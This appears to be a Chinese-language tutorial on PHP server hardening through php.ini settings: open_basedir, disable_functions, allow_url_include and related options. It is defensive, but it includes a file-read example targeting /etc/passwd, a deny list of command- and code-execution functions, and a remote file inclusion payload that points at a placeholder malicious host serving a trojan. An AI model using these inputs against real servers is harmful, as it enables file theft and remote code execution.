php.ini 全局安全配置(服务器层面,第一道防线)
php.ini 是 PHP 运行全局配置文件,所有 PHP 脚本共享生效,属于底层强制安全限制,无需改业务代码。
safe_mode 安全模式(废弃,仅历史了解)
1、作用:早期 PHP 内置安全隔离机制,开启后会限制文件跨目录访问、禁止执行系统命令、限制外部文件读取。
2、现状:PHP5.3 起废弃,PHP5.6 彻底移除,不再使用,替代方案:open_basedir + disable_functions。
open_basedir 目录访问限制(防目录遍历 / 跨目录文件读取)
核心防护:限定 PHP 脚本只能操作指定目录内的文件,超出目录无法读写、包含、读取文件。
1、攻击场景:无限制时,攻击者通过file_get_contents(“/etc/passwd”)、../路径穿越读取服务器敏感配置、源码、密钥。
2、配置示例:
open_basedir = /home/wwwroot:/tmp
仅允许脚本操作网站根目录和临时目录,/etc/、/root等系统目录直接拦截。
3、优势:全局生效,所有文件操作函数(include/file_get_contents/fopen)全部受限制。
disable_functions 禁用危险函数(最实用安全配置)
替代废弃 safe_mode,直接禁用高危 PHP 内置函数,从根源杜绝漏洞利用。
系统命令执行:exec、system、shell_exec、passthru、popen
文件高危操作:file_put_contents、chmod、rmdir、unlink(按需)
代码执行:eval、assert、create_function(一句话木马核心)
远程读取:file_get_contents(搭配 allow_url_fopen 使用)
配置示例:
disable_functions = eval,assert,exec,system,shell_exec,passthru
magic_quotes_gpc 魔术引号(已废弃,仅理解原理)
功能:自动对 GET/POST/COOKIE 传入的用户输入,单引号’、双引号”、反斜杠\、NULL 自动加反斜杠转义,初衷简易防 SQL 注入。
缺陷:
PHP5.4 后彻底移除,新版本不存在该配置;
仅转义 4 个字符,无法防御宽字节注入、二阶注入;
会造成数据双重转义,页面展示多出反斜杠。
替代方案:手动过滤函数 + MySQL 预编译(PDO 预处理)。
allow_url_fopen /allow_url_include 远程文件包含防御
allow_url_fopen
控制file_get_contents()、fopen()能否读取远程 HTTP/HTTPS 文件。
allow_url_include
控制include/require能否引入远程 URL 文件,高危开关,必须关闭。
漏洞场景:远程文件包含漏洞 (RFI)
攻击者传入 ?page=http://恶意网站/木马.txt,服务器会下载远程木马并执行。
安全配置:两个参数统一关闭
allow_url_fopen = Off
allow_url_include = Off
max_connections 数据库最大连接数
限制 MySQL 同时连接数量,防御数据库 CC 爆破、大量并发拖垮数据库。 配置过小会导致正常业务报错,根据服务器性能调整





暂无评论内容